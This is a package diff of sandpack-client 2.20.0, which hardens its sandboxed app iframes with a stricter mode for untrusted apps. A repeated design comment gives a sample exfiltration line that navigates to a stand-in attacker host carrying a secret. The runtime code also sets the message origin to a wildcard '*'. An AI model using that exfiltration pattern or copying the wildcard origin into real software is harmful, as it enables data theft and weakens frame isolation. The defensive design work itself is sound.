@immediately-run/sandpack-client 2.19.10 → 2.20.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/.ir-build-stamp.json +3 -3
- package/dist/clients/iframe-factory.d.ts +25 -4
- package/dist/clients/index.d.ts +1 -0
- package/dist/clients/node/index.js +2 -2
- package/dist/clients/node/index.mjs +2 -2
- package/dist/clients/runtime/iframe-protocol.d.ts +1 -1
- package/dist/clients/runtime/index.js +14 -10
- package/dist/clients/runtime/index.mjs +14 -10
- package/dist/{consoleHook-znXctRzh.js → consoleHook-Dva85ENr.js} +1 -1
- package/dist/{consoleHook-DQVWjDRE.mjs → consoleHook-vOAHXvaX.mjs} +1 -1
- package/dist/fs/SandpackFS.d.ts +18 -1
- package/dist/iframe-factory-Bc7tcyQZ.js +89 -0
- package/dist/iframe-factory-C8M0b9uf.mjs +86 -0
- package/dist/{index-rbhm_KmF.mjs → index-Bg_0g5j2.mjs} +5 -5
- package/dist/{index--fILWAw8.js → index-DWUK0Qhn.js} +5 -5
- package/dist/index.js +2 -2
- package/dist/index.mjs +2 -2
- package/dist/{types-BFONOA2L.mjs → types-DR29do3R.mjs} +91 -9
- package/dist/{types-BIIEoWr6.js → types-mAM6HBIz.js} +91 -9
- package/dist/types.d.ts +9 -0
- package/package.json +1 -1
- package/dist/iframe-factory-BcC-S_XQ.js +0 -54
- package/dist/iframe-factory-DybmkzJZ.mjs +0 -51
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "sandpack-client",
|
|
3
|
-
"version": "2.
|
|
4
|
-
"srcHash": "
|
|
5
|
-
"builtAt": "2026-
|
|
3
|
+
"version": "2.20.0",
|
|
4
|
+
"srcHash": "57b49235f4e6081897281fd4eab0848c2ee977d626606f235444047099739d79",
|
|
5
|
+
"builtAt": "2026-07-13T20:11:14.027Z"
|
|
6
6
|
}
|
|
@@ -15,13 +15,34 @@
|
|
|
15
15
|
* The node/nodebox emulator is a different execution model and is intentionally
|
|
16
16
|
* NOT routed through here.
|
|
17
17
|
*/
|
|
18
|
+
/**
|
|
19
|
+
* The app's resolved trust stance (TRUST_MODES_SPEC §3, R3-194). Only **M3** (a
|
|
20
|
+
* stranger's app — unknown author) changes iframe emission; M0–M2 (kernel /
|
|
21
|
+
* first-party / the user's own / a verified-org's code) keep the exact baseline.
|
|
22
|
+
* Any absent/unknown value is treated as baseline (fail-SAFE: we only ever TIGHTEN
|
|
23
|
+
* on explicit M3, never loosen — R3-195 plan step 1).
|
|
24
|
+
*/
|
|
25
|
+
export type FrameStance = "M0" | "M1" | "M2" | "M3";
|
|
18
26
|
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
19
27
|
export declare function assertOpaqueOrigin(iframe: HTMLIFrameElement): void;
|
|
20
|
-
/**
|
|
21
|
-
|
|
28
|
+
/**
|
|
29
|
+
* Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
|
|
30
|
+
* (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
|
|
31
|
+
* absent/M0–M2 emits the exact baseline.
|
|
32
|
+
*
|
|
33
|
+
* SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
|
|
34
|
+
* finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
|
|
35
|
+
* as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
|
|
36
|
+
* gymnastics that break legitimate in-app routing, is browser-parity, and is
|
|
37
|
+
* host-observable (a navigation tripwire is a post-hoc signal, never prevention).
|
|
38
|
+
* This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
|
|
39
|
+
* it does not — and cannot — close the single-shot self-nav floor.
|
|
40
|
+
*/
|
|
41
|
+
export declare function createSandboxedIframe(doc?: Document, stance?: FrameStance): HTMLIFrameElement;
|
|
22
42
|
/**
|
|
23
43
|
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
24
44
|
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
25
|
-
* this for the case where a host passes in its own iframe element.
|
|
45
|
+
* this for the case where a host passes in its own iframe element. `stance` selects
|
|
46
|
+
* the M3-hardened attributes when this factory is the one setting them.
|
|
26
47
|
*/
|
|
27
|
-
export declare function ensureSandboxed(iframe: HTMLIFrameElement): void;
|
|
48
|
+
export declare function ensureSandboxed(iframe: HTMLIFrameElement, stance?: FrameStance): void;
|
package/dist/clients/index.d.ts
CHANGED
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import type { ClientOptions, SandboxSetup } from "../types";
|
|
2
2
|
import type { SandpackClient as SandpackClientBase } from "./base";
|
|
3
3
|
export type { SandpackClient } from "./base";
|
|
4
|
+
export type { FrameStance } from "./iframe-factory";
|
|
4
5
|
export declare function loadSandpackClient(iframeSelector: string | HTMLIFrameElement, sandboxSetup: SandboxSetup, options?: ClientOptions): Promise<SandpackClientBase>;
|
|
@@ -2,9 +2,9 @@
|
|
|
2
2
|
|
|
3
3
|
var utils = require('../../utils-BiVyytui.js');
|
|
4
4
|
var nodebox = require('@codesandbox/nodebox');
|
|
5
|
-
require('../../types-
|
|
5
|
+
require('../../types-mAM6HBIz.js');
|
|
6
6
|
var base = require('../../base-DelKLlDk.js');
|
|
7
|
-
var consoleHook = require('../../consoleHook-
|
|
7
|
+
var consoleHook = require('../../consoleHook-Dva85ENr.js');
|
|
8
8
|
require('outvariant');
|
|
9
9
|
require('@zenfs/core');
|
|
10
10
|
require('dequal');
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import { _ as __awaiter, a as __generator, f as nullthrows, c as createError, g as __extends, h as __assign } from '../../utils-DG1HA4RZ.mjs';
|
|
2
2
|
import { INJECT_MESSAGE_TYPE, Nodebox, PREVIEW_LOADED_MESSAGE_TYPE } from '@codesandbox/nodebox';
|
|
3
|
-
import '../../types-
|
|
3
|
+
import '../../types-DR29do3R.mjs';
|
|
4
4
|
import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
|
|
5
|
-
import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-
|
|
5
|
+
import { c as consoleHook, g as generateRandomId, E as EventEmitter, a as getMessageFromError, f as findStartScriptPackageJson } from '../../consoleHook-vOAHXvaX.mjs';
|
|
6
6
|
import 'outvariant';
|
|
7
7
|
import '@zenfs/core';
|
|
8
8
|
import 'dequal';
|
|
@@ -7,7 +7,7 @@ export declare class IFrameProtocol {
|
|
|
7
7
|
channelListeners: Record<number, ListenerFunction>;
|
|
8
8
|
private channelListenersCount;
|
|
9
9
|
readonly channelId: number;
|
|
10
|
-
constructor(iframe: HTMLIFrameElement,
|
|
10
|
+
constructor(iframe: HTMLIFrameElement, _origin: string);
|
|
11
11
|
cleanup(): void;
|
|
12
12
|
register(port?: MessagePort, config?: Record<string, unknown>, babelPort?: MessagePort): void;
|
|
13
13
|
dispatch(message: SandpackMessage): void;
|
|
@@ -2,9 +2,9 @@
|
|
|
2
2
|
|
|
3
3
|
var utils = require('../../utils-BiVyytui.js');
|
|
4
4
|
var dequal = require('dequal');
|
|
5
|
-
var types = require('../../types-
|
|
5
|
+
var types = require('../../types-mAM6HBIz.js');
|
|
6
6
|
var base = require('../../base-DelKLlDk.js');
|
|
7
|
-
var iframeFactory = require('../../iframe-factory-
|
|
7
|
+
var iframeFactory = require('../../iframe-factory-Bc7tcyQZ.js');
|
|
8
8
|
var mimeDB = require('mime-db');
|
|
9
9
|
require('outvariant');
|
|
10
10
|
require('@zenfs/core');
|
|
@@ -67,7 +67,7 @@ var Protocol = /** @class */ (function () {
|
|
|
67
67
|
}());
|
|
68
68
|
|
|
69
69
|
var IFrameProtocol = /** @class */ (function () {
|
|
70
|
-
function IFrameProtocol(iframe,
|
|
70
|
+
function IFrameProtocol(iframe, _origin) {
|
|
71
71
|
// React to messages from any iframe
|
|
72
72
|
this.globalListeners = {};
|
|
73
73
|
this.globalListenersCount = 0;
|
|
@@ -77,7 +77,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
77
77
|
// Random number to identify this instance of the client when messages are coming from multiple iframes
|
|
78
78
|
this.channelId = Math.floor(Math.random() * 1000000);
|
|
79
79
|
this.frameWindow = iframe.contentWindow;
|
|
80
|
-
this.origin =
|
|
80
|
+
this.origin = "*"; //origin;
|
|
81
81
|
this.globalListeners = [];
|
|
82
82
|
this.channelListeners = [];
|
|
83
83
|
this.eventListener = this.eventListener.bind(this);
|
|
@@ -101,6 +101,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
101
101
|
if (!this.frameWindow) {
|
|
102
102
|
return;
|
|
103
103
|
}
|
|
104
|
+
// eslint-disable-next-line no-console -- dev registration trace
|
|
104
105
|
console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
|
|
105
106
|
// Order matters: the bundler reads ports[0] as the fs port and ports[1] as
|
|
106
107
|
// the Babel worker port. `filter` keeps that order as long as the fs port
|
|
@@ -324,7 +325,7 @@ function handleImmutableFetch(url, integrity) {
|
|
|
324
325
|
return [2 /*return*/, serializeResponse(hit)];
|
|
325
326
|
}
|
|
326
327
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
327
|
-
return [4 /*yield*/, cache.delete(url).catch(function () { })];
|
|
328
|
+
return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
|
|
328
329
|
case 5:
|
|
329
330
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
330
331
|
_b.sent();
|
|
@@ -348,8 +349,11 @@ function handleImmutableFetch(url, integrity) {
|
|
|
348
349
|
if (!_a) return [3 /*break*/, 12];
|
|
349
350
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
350
351
|
return [4 /*yield*/, cache
|
|
351
|
-
.put(url, new Response(result.body.slice(0), {
|
|
352
|
-
.
|
|
352
|
+
.put(url, new Response(result.body.slice(0), {
|
|
353
|
+
status: result.status,
|
|
354
|
+
headers: { "content-type": result.contentType },
|
|
355
|
+
}))
|
|
356
|
+
.catch(function () { return undefined; })];
|
|
353
357
|
case 11:
|
|
354
358
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
355
359
|
_b.sent();
|
|
@@ -526,7 +530,7 @@ function getExtension(filepath) {
|
|
|
526
530
|
|
|
527
531
|
var _a;
|
|
528
532
|
var SUFFIX_PLACEHOLDER = "-{{suffix}}";
|
|
529
|
-
var BUNDLER_URL = "https://".concat((_a = "2.
|
|
533
|
+
var BUNDLER_URL = "https://".concat((_a = "2.20.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
|
|
530
534
|
var SandpackRuntime = /** @class */ (function (_super) {
|
|
531
535
|
utils.__extends(SandpackRuntime, _super);
|
|
532
536
|
function SandpackRuntime(selector, sandboxSetup, options) {
|
|
@@ -572,7 +576,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
572
576
|
// touch shared storage on the bundler origin. The Babel worker that used
|
|
573
577
|
// to require same-origin is now owned by the parent and reached over a
|
|
574
578
|
// transferred `MessagePort` (see `createBabelWorkerPort`).
|
|
575
|
-
_this.iframe = iframeFactory.createSandboxedIframe();
|
|
579
|
+
_this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
|
|
576
580
|
_this.initializeElement();
|
|
577
581
|
}
|
|
578
582
|
else {
|
|
@@ -581,7 +585,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
581
585
|
}
|
|
582
586
|
// Set-and-assert: a host-provided iframe is hardened here, and any iframe
|
|
583
587
|
// (created or passed) is verified to carry no `allow-same-origin`.
|
|
584
|
-
iframeFactory.ensureSandboxed(_this.iframe);
|
|
588
|
+
iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
|
|
585
589
|
_this.setLocationURLIntoIFrame();
|
|
586
590
|
_this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
|
|
587
591
|
_this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {
|
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
import { _ as __awaiter, a as __generator, h as __assign, i as __rest, j as __spreadArray, g as __extends, f as nullthrows, e as extractErrorDetails, c as createError, d as createPackageJSON } from '../../utils-DG1HA4RZ.mjs';
|
|
2
2
|
import { dequal } from 'dequal';
|
|
3
|
-
import { a as SandpackLogLevel } from '../../types-
|
|
3
|
+
import { a as SandpackLogLevel } from '../../types-DR29do3R.mjs';
|
|
4
4
|
import { S as SandpackClient } from '../../base-DBh7xJX9.mjs';
|
|
5
|
-
import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-
|
|
5
|
+
import { c as createSandboxedIframe, e as ensureSandboxed } from '../../iframe-factory-C8M0b9uf.mjs';
|
|
6
6
|
import mimeDB from 'mime-db';
|
|
7
7
|
import 'outvariant';
|
|
8
8
|
import '@zenfs/core';
|
|
@@ -65,7 +65,7 @@ var Protocol = /** @class */ (function () {
|
|
|
65
65
|
}());
|
|
66
66
|
|
|
67
67
|
var IFrameProtocol = /** @class */ (function () {
|
|
68
|
-
function IFrameProtocol(iframe,
|
|
68
|
+
function IFrameProtocol(iframe, _origin) {
|
|
69
69
|
// React to messages from any iframe
|
|
70
70
|
this.globalListeners = {};
|
|
71
71
|
this.globalListenersCount = 0;
|
|
@@ -75,7 +75,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
75
75
|
// Random number to identify this instance of the client when messages are coming from multiple iframes
|
|
76
76
|
this.channelId = Math.floor(Math.random() * 1000000);
|
|
77
77
|
this.frameWindow = iframe.contentWindow;
|
|
78
|
-
this.origin =
|
|
78
|
+
this.origin = "*"; //origin;
|
|
79
79
|
this.globalListeners = [];
|
|
80
80
|
this.channelListeners = [];
|
|
81
81
|
this.eventListener = this.eventListener.bind(this);
|
|
@@ -99,6 +99,7 @@ var IFrameProtocol = /** @class */ (function () {
|
|
|
99
99
|
if (!this.frameWindow) {
|
|
100
100
|
return;
|
|
101
101
|
}
|
|
102
|
+
// eslint-disable-next-line no-console -- dev registration trace
|
|
102
103
|
console.log("[IFrameProtocol] Registering iframe with channelId", this.channelId, this);
|
|
103
104
|
// Order matters: the bundler reads ports[0] as the fs port and ports[1] as
|
|
104
105
|
// the Babel worker port. `filter` keeps that order as long as the fs port
|
|
@@ -322,7 +323,7 @@ function handleImmutableFetch(url, integrity) {
|
|
|
322
323
|
return [2 /*return*/, serializeResponse(hit)];
|
|
323
324
|
}
|
|
324
325
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
325
|
-
return [4 /*yield*/, cache.delete(url).catch(function () { })];
|
|
326
|
+
return [4 /*yield*/, cache.delete(url).catch(function () { return undefined; })];
|
|
326
327
|
case 5:
|
|
327
328
|
// Stale/poisoned entry: drop it and fall through to a fresh fetch.
|
|
328
329
|
_b.sent();
|
|
@@ -346,8 +347,11 @@ function handleImmutableFetch(url, integrity) {
|
|
|
346
347
|
if (!_a) return [3 /*break*/, 12];
|
|
347
348
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
348
349
|
return [4 /*yield*/, cache
|
|
349
|
-
.put(url, new Response(result.body.slice(0), {
|
|
350
|
-
.
|
|
350
|
+
.put(url, new Response(result.body.slice(0), {
|
|
351
|
+
status: result.status,
|
|
352
|
+
headers: { "content-type": result.contentType },
|
|
353
|
+
}))
|
|
354
|
+
.catch(function () { return undefined; })];
|
|
351
355
|
case 11:
|
|
352
356
|
// Only persist verified bytes. A failed put (quota) only costs the entry.
|
|
353
357
|
_b.sent();
|
|
@@ -524,7 +528,7 @@ function getExtension(filepath) {
|
|
|
524
528
|
|
|
525
529
|
var _a;
|
|
526
530
|
var SUFFIX_PLACEHOLDER = "-{{suffix}}";
|
|
527
|
-
var BUNDLER_URL = "https://".concat((_a = "2.
|
|
531
|
+
var BUNDLER_URL = "https://".concat((_a = "2.20.0") === null || _a === void 0 ? void 0 : _a.replace(/\./g, "-")).concat(SUFFIX_PLACEHOLDER, "-sandpack.codesandbox.io/");
|
|
528
532
|
var SandpackRuntime = /** @class */ (function (_super) {
|
|
529
533
|
__extends(SandpackRuntime, _super);
|
|
530
534
|
function SandpackRuntime(selector, sandboxSetup, options) {
|
|
@@ -570,7 +574,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
570
574
|
// touch shared storage on the bundler origin. The Babel worker that used
|
|
571
575
|
// to require same-origin is now owned by the parent and reached over a
|
|
572
576
|
// transferred `MessagePort` (see `createBabelWorkerPort`).
|
|
573
|
-
_this.iframe = createSandboxedIframe();
|
|
577
|
+
_this.iframe = createSandboxedIframe(document, _this.options.stance);
|
|
574
578
|
_this.initializeElement();
|
|
575
579
|
}
|
|
576
580
|
else {
|
|
@@ -579,7 +583,7 @@ var SandpackRuntime = /** @class */ (function (_super) {
|
|
|
579
583
|
}
|
|
580
584
|
// Set-and-assert: a host-provided iframe is hardened here, and any iframe
|
|
581
585
|
// (created or passed) is verified to carry no `allow-same-origin`.
|
|
582
|
-
ensureSandboxed(_this.iframe);
|
|
586
|
+
ensureSandboxed(_this.iframe, _this.options.stance);
|
|
583
587
|
_this.setLocationURLIntoIFrame();
|
|
584
588
|
_this.iframeProtocol = new IFrameProtocol(_this.iframe, _this.bundlerURL);
|
|
585
589
|
_this.unsubscribeGlobalListener = _this.iframeProtocol.globalListen(function (mes) {
|
package/dist/fs/SandpackFS.d.ts
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
import { BoundContext } from "@zenfs/core";
|
|
1
|
+
import { type BoundContext } from "@zenfs/core";
|
|
2
2
|
/**
|
|
3
3
|
* Per-file UI metadata. The file *content* lives in the filesystem as bytes;
|
|
4
4
|
* everything else (visibility, editability, initial focus) is kept in a sidecar
|
|
@@ -45,6 +45,20 @@ export type SandpackFilesInput = Record<string, FileMeta & {
|
|
|
45
45
|
* All reads / writes are async. Changes emit a single coalesced notification
|
|
46
46
|
* (watcher or explicit helper calls) so React can subscribe via
|
|
47
47
|
* `useSyncExternalStore`.
|
|
48
|
+
*
|
|
49
|
+
* ## Writer invariant (why every mutation must funnel through here)
|
|
50
|
+
*
|
|
51
|
+
* The ZenFS `Port` backend does **not** forward watch events across the iframe
|
|
52
|
+
* boundary, so **every** independent mutator of the shared store MUST route through
|
|
53
|
+
* {@link SandpackFS.writeFile} (local edits → `external: false`) or
|
|
54
|
+
* {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
|
|
55
|
+
* `exportZenFS` → `external: true`). A write that reaches this instance's
|
|
56
|
+
* bound-context fs by any other path emits no `onChange`, so the editor view and
|
|
57
|
+
* the bundler relay silently miss it. This is the conflict-model writer invariant
|
|
58
|
+
* spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
|
|
59
|
+
* ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
|
|
60
|
+
* In dev, {@link installOutOfBandGuard} turns that convention into a loud
|
|
61
|
+
* assertion (roadmap R3-110); in production the guard is compiled out.
|
|
48
62
|
*/
|
|
49
63
|
export declare class SandpackFS {
|
|
50
64
|
readonly fsContext: BoundContext;
|
|
@@ -55,6 +69,9 @@ export declare class SandpackFS {
|
|
|
55
69
|
private sidecarEnvironment;
|
|
56
70
|
private sidecarMode;
|
|
57
71
|
private disposed;
|
|
72
|
+
private readonly rawWriteFile;
|
|
73
|
+
private readonly rawUnlink;
|
|
74
|
+
private readonly rawMkdir;
|
|
58
75
|
private constructor();
|
|
59
76
|
/**
|
|
60
77
|
* Create the `MessagePort` shared with the child iframe, wiring the iframe's
|
|
@@ -0,0 +1,89 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
5
|
+
* threat T1).
|
|
6
|
+
*
|
|
7
|
+
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
8
|
+
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
9
|
+
* could remove its own sandboxing and reach the parent — the whole capability
|
|
10
|
+
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
11
|
+
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
12
|
+
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
13
|
+
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
14
|
+
* in this factory."
|
|
15
|
+
*
|
|
16
|
+
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
17
|
+
* The node/nodebox emulator is a different execution model and is intentionally
|
|
18
|
+
* NOT routed through here.
|
|
19
|
+
*/
|
|
20
|
+
// Baseline app sandbox (M0–M2): the full set a trusted-author app needs
|
|
21
|
+
// (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
|
|
22
|
+
var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
23
|
+
// M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
|
|
24
|
+
// (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
|
|
25
|
+
// (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
|
|
26
|
+
// app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
|
|
27
|
+
// SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
|
|
28
|
+
// remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
|
|
29
|
+
// the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
|
|
30
|
+
// not by a sandbox flag. `allow-same-origin` remains absent.
|
|
31
|
+
var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
|
|
32
|
+
// Baseline delegated features (the `allow` / Permissions-Policy attribute).
|
|
33
|
+
var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
34
|
+
// M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
|
|
35
|
+
// sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
|
|
36
|
+
// denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
|
|
37
|
+
var APP_ALLOW_M3 = "";
|
|
38
|
+
var sandboxAttrFor = function (stance) {
|
|
39
|
+
return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
|
|
40
|
+
};
|
|
41
|
+
var allowAttrFor = function (stance) {
|
|
42
|
+
return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
|
|
43
|
+
};
|
|
44
|
+
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
45
|
+
function assertOpaqueOrigin(iframe) {
|
|
46
|
+
var _a;
|
|
47
|
+
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
48
|
+
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
49
|
+
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
50
|
+
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
/**
|
|
54
|
+
* Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
|
|
55
|
+
* (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
|
|
56
|
+
* absent/M0–M2 emits the exact baseline.
|
|
57
|
+
*
|
|
58
|
+
* SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
|
|
59
|
+
* finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
|
|
60
|
+
* as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
|
|
61
|
+
* gymnastics that break legitimate in-app routing, is browser-parity, and is
|
|
62
|
+
* host-observable (a navigation tripwire is a post-hoc signal, never prevention).
|
|
63
|
+
* This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
|
|
64
|
+
* it does not — and cannot — close the single-shot self-nav floor.
|
|
65
|
+
*/
|
|
66
|
+
function createSandboxedIframe(doc, stance) {
|
|
67
|
+
if (doc === void 0) { doc = document; }
|
|
68
|
+
var iframe = doc.createElement("iframe");
|
|
69
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
70
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
71
|
+
assertOpaqueOrigin(iframe);
|
|
72
|
+
return iframe;
|
|
73
|
+
}
|
|
74
|
+
/**
|
|
75
|
+
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
76
|
+
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
77
|
+
* this for the case where a host passes in its own iframe element. `stance` selects
|
|
78
|
+
* the M3-hardened attributes when this factory is the one setting them.
|
|
79
|
+
*/
|
|
80
|
+
function ensureSandboxed(iframe, stance) {
|
|
81
|
+
if (!iframe.getAttribute("sandbox")) {
|
|
82
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
83
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
84
|
+
}
|
|
85
|
+
assertOpaqueOrigin(iframe);
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
exports.createSandboxedIframe = createSandboxedIframe;
|
|
89
|
+
exports.ensureSandboxed = ensureSandboxed;
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
3
|
+
* threat T1).
|
|
4
|
+
*
|
|
5
|
+
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
6
|
+
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
7
|
+
* could remove its own sandboxing and reach the parent — the whole capability
|
|
8
|
+
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
9
|
+
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
10
|
+
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
11
|
+
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
12
|
+
* in this factory."
|
|
13
|
+
*
|
|
14
|
+
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
15
|
+
* The node/nodebox emulator is a different execution model and is intentionally
|
|
16
|
+
* NOT routed through here.
|
|
17
|
+
*/
|
|
18
|
+
// Baseline app sandbox (M0–M2): the full set a trusted-author app needs
|
|
19
|
+
// (value 3). `allow-same-origin` is ABSENT and stays absent (G1/T1).
|
|
20
|
+
var APP_SANDBOX_BASELINE = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
21
|
+
// M3 (stranger app) sandbox — the §G1a tightening: baseline MINUS `allow-forms`
|
|
22
|
+
// (native form-POST exfil), `allow-popups`/`allow-modals`/`allow-presentation`
|
|
23
|
+
// (`window.open(url)` + popup/presentation-URL exfil). KEEP `allow-scripts` (the
|
|
24
|
+
// app must still run), `allow-downloads`, `allow-pointer-lock`. This is a STRICT
|
|
25
|
+
// SUBSET of the baseline — never adds a flag (the §G1a subset invariant). The
|
|
26
|
+
// remaining bulk-egress channels (fetch/XHR/WebSocket/beacon, pixels) are shut by
|
|
27
|
+
// the per-frame M3 CSP delivered with the frame's document (R3-195 sandbox repo),
|
|
28
|
+
// not by a sandbox flag. `allow-same-origin` remains absent.
|
|
29
|
+
var APP_SANDBOX_M3 = "allow-scripts allow-downloads allow-pointer-lock";
|
|
30
|
+
// Baseline delegated features (the `allow` / Permissions-Policy attribute).
|
|
31
|
+
var APP_ALLOW_BASELINE = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
32
|
+
// M3 delegates NOTHING — camera/microphone/geolocation and every other egress- or
|
|
33
|
+
// sensor-capable feature is withheld (an empty allowlist ≡ disabled), which also
|
|
34
|
+
// denies the WebRTC/getUserMedia surfaces. A strict subset of the baseline.
|
|
35
|
+
var APP_ALLOW_M3 = "";
|
|
36
|
+
var sandboxAttrFor = function (stance) {
|
|
37
|
+
return stance === "M3" ? APP_SANDBOX_M3 : APP_SANDBOX_BASELINE;
|
|
38
|
+
};
|
|
39
|
+
var allowAttrFor = function (stance) {
|
|
40
|
+
return stance === "M3" ? APP_ALLOW_M3 : APP_ALLOW_BASELINE;
|
|
41
|
+
};
|
|
42
|
+
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
43
|
+
function assertOpaqueOrigin(iframe) {
|
|
44
|
+
var _a;
|
|
45
|
+
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
46
|
+
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
47
|
+
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
48
|
+
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
/**
|
|
52
|
+
* Create an opaque-origin sandboxed iframe for running untrusted app code. `stance`
|
|
53
|
+
* (R3-195) selects the M3-hardened sandbox/allow attributes for a stranger app;
|
|
54
|
+
* absent/M0–M2 emits the exact baseline.
|
|
55
|
+
*
|
|
56
|
+
